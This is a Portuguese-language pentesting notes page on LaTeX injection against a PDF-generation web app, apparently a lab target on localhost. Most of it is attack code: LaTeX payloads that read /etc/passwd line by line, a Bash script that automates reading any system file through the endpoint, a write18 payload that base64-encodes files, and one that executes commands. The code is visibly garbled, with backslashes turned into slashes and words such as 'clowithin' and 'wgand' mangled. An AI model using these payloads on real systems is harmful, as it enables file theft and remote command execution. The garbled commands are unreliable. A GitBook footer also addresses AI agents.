> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# Técnicas de Injeção em LaTeX

Crie um arquivo LaTeX com o conteúdo abaixo e gere uma URL com um arquivo PDF:

<figure><img src="/files/1a4ef7e9dea0e9f80dd8fb9b62e9d118d1d1e6e1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/50a7321ad1f7c5bdccf86efe8e9c3db96de4a945" alt="" width="560"><figcaption></figcaption></figure>

Use o site [salmão](https://salmonsec.com/cheatsheets/exploitation/latex_injection) para tentar inserir comandos (neste caso, eles são bloqueados):

<figure><img src="/files/25dd166472f4546a04552a2411767ffcbf932566" alt="" width="563"><figcaption></figcaption></figure>

Aqui está o código PHP com a sanitização:

<figure><img src="/files/7f9f4f267ffbaea8faff7157f6fdec4839373736" alt="" width="563"><figcaption></figcaption></figure>

No entanto, a sanitização não leva em conta os comandos abaixo que permitem listar linha por linha um arquivo do sistema:

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/45ae72b7bcf3d85adaf7562164706e372a5eb57a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/68437533f958e4f5b1c959ec974fd3cecaecfb03" alt="" width="563"><figcaption></figcaption></figure>

Sabendo disso, este script Bash automatiza tudo para exibir qualquer arquivo do sistema:

```bash
#!/bin/bash
# Técnicas de Injeção em LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
else
    echo -e "/n[!] Uso: $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/b82b92ccaccb37dc80067b64c585da485113fcc1" alt="" width="533"><figcaption></figcaption></figure>

Outra forma de fazer isso seria converter o conteúdo em base64:

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/98653a4ba9effbe5a44f9af28d6bf20f0e3c7f06" alt="" width="563"><figcaption></figcaption></figure>

Cole o conteúdo em um arquivo chamado data e decodifique-o como texto simples:

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/ece26ff5f8937019d1b3214fb9e6f5ad1c9d95d8" alt="" width="563"><figcaption></figcaption></figure>

Para executar comandos, você poderia usar o conteúdo abaixo (neste caso, id):

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/69f0e38f6dd86794f3742fdf8d9af6b96c52fa52" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
